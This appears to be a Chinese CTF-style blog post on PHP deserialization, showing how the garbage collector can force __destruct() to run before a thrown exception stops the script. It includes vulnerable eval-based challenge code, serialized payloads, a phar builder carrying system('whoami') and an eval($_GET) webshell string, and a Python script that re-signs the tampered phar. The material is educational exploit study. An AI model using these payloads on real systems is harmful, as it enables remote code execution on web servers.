<?php
highlight_file(__FILE__);
 
class L1mbo{
public $rce;
public function __destruct(){
 
        eval($rce);
}
}
 
$a = $_GET["a"];
$b=unserialize($a);
throw new Exception("???");
?>

前言

这个例题其实很简短,控制L1mbo中rce的值,当类销毁的时候就会执行__destruct(),但throw new Exception("???");的存在让我们的思路成为了空想。
正常来说在php执行完毕后L1mbo类就会销毁而执行__destruct()达到我们的目的,但它抛出一个异常后,php执行终止,类也没有正常的销毁来执行__destruct()。而我们要做的就是让L1mbo在抛出异常之前就销毁,这就要提到PHP Garbage Collection,也就是GC回收机制。

GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。当一个变量被设置为空NULL,或者没有任何指针指向也就是引用计数为0时,它就会被变成垃圾,被GC机制自动回收掉;那么同理当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的__destruct(),我们可以去官方文档中查询:

这里举一些小小的例子:

<?php
highlight_file(__FILE__);
error_reporting(0);
class L1mbo{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct"."</br>";
}
}
 
new L1mbo(1);
$a = new L1mbo(2);
$b = new L1mbo(3);
?>

demo
正如我们所见L1mbo(1)没有任何引用,创建后马上销毁.

再如

<?php
highlight_file(__FILE__);
error_reporting(0);
class L1mbo{
public $num;
public function __construct($num)
{
    $this->num = $num;
    echo $this->num."__construct"."</br>";
}
public function __destruct(){
        echo $this->num."__destruct"."</br>";
}
}
 
$c = array(new L1mbo(1),1);
$c[0] = $c[1];
$a = new L1mbo(2);
$b = new L1mbo(3);


demo
L1mbo失去了引用,便会触发回收而执行destruct。

应用

原理有了,那上面那题应该怎么搞呢?

<?php

class L1mbo{
    public $rce='phpinfo();';
    public function __destruct(){
     
        eval($rce);
    }
}

$a=array(new L1mbo(),1);
echo serialize($a);

a:2:{i:0;O:5:"L1mbo":1:{s:3:"rce";s:10:"phpinfo();";}i:1;i:1;}

i:1改为i:0,使类失去引用被回收。

a:2:{i:0;O:5:"L1mbo":1:{s:3:"rce";s:10:"phpinfo();";}i:0;i:1;}

或者直接O:5:"L1mbo":1:{s:3:"rce";s:10:"phpinfo();"反序列化异常会直接destruct

Phar与GC

假如有这么一道题:

<?php
highlight_file(__FILE__);
error_reporting(0);

class L1mbo{
    public $cmd;
    
    public function __destruct(){
        eval($this->cmd);
        
    }
}

$data = $_POST[1];
file_put_contents("a.txt", $data);
$filename = $_GET['filename'];
echo file_get_contents($filename);
throw new Error("nonono!!!");

?>

原本可以程序正常执行结束然后destruct,执行我们需要的代码,但最后抛出一个error之后,类不能正常销毁,这时候就可以用到php的GC回收机制去提前结束这个类的寿命 从而销毁。

<?php

class L1mbo{
    public $cmd="system('whoami');";
}

$o[]=new L1mbo();
$o[] = 1;

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt",'eval($_GET["a"]);');  //添加要压缩的文件
$phar->stopBuffering();

?>

生成
test.phar

键名i:1改为i:0,前面的L1mbo对象便会失去引用而释放,但我们修改文件之后,phar的文件签名便会损坏,要重新生成签名。

Phar签名格式:
phar签名

最后四个字节固定GBMB,再往前四个是加密算法,默认是SHA1,长度20。所以去掉最后28个字节的数据然后SHA1对文件进行加密再补全就可以了。

import gzip
from hashlib import sha1

file = open("test.phar","rb").read()

text = file[:-28]  #读取开始到末尾除签名外内容

last = file[-8:]   #读取最后8位的GBMB和签名flag

new_file = text+sha1(text).digest() + last  #生成新phar

open("test.phar","wb").write(new_file)

然后phar://a.txt就ok

还有两个题目tang神

最后修改:2023 年 07 月 20 日
如果觉得我的文章对你有用,请随意赞赏